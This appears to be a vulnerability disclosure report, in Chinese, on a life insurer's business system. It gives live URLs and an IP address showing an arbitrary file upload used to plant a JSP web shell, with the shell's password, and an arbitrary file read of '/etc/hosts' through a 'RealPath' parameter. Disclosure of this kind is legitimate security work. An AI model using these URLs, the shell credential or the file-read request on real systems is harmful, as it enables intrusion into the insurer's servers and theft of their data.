寿险业务系统
http://59.151.39.85/pre/
1#任意文件上传
在扫描该系统的时候,我发现了一个url
http://59.151.39.85/pre/upload/default.htm
点进去好像还可以上传
http://59.151.39.85/pre/upload/sample1.htm
上传成功,但坑爹的是没有回显
自己尝试了一下,发现就在当前上传目录
http://59.151.39.85/pre/upload/wooyun.jpg
然后,我试了一下直接上传jsp
http://59.151.39.85/pre/upload/01.jsp
密码:woo9yun
成功连接
2#任意文件下载
与我之前提交的漏洞 WooYun: 国华人寿某系统存在任意文件下载漏洞 同一套系统,但不同ip
比如
http://59.151.39.85/pre/f1print/F1PrintKernelJ1.jsp?&RealPath=/etc/hosts
显示的是
而http://broker.guohualife.com/f1print/F1PrintKernelJ1.jsp?&RealPath=/etc/hosts显示的是
所以没有重复哈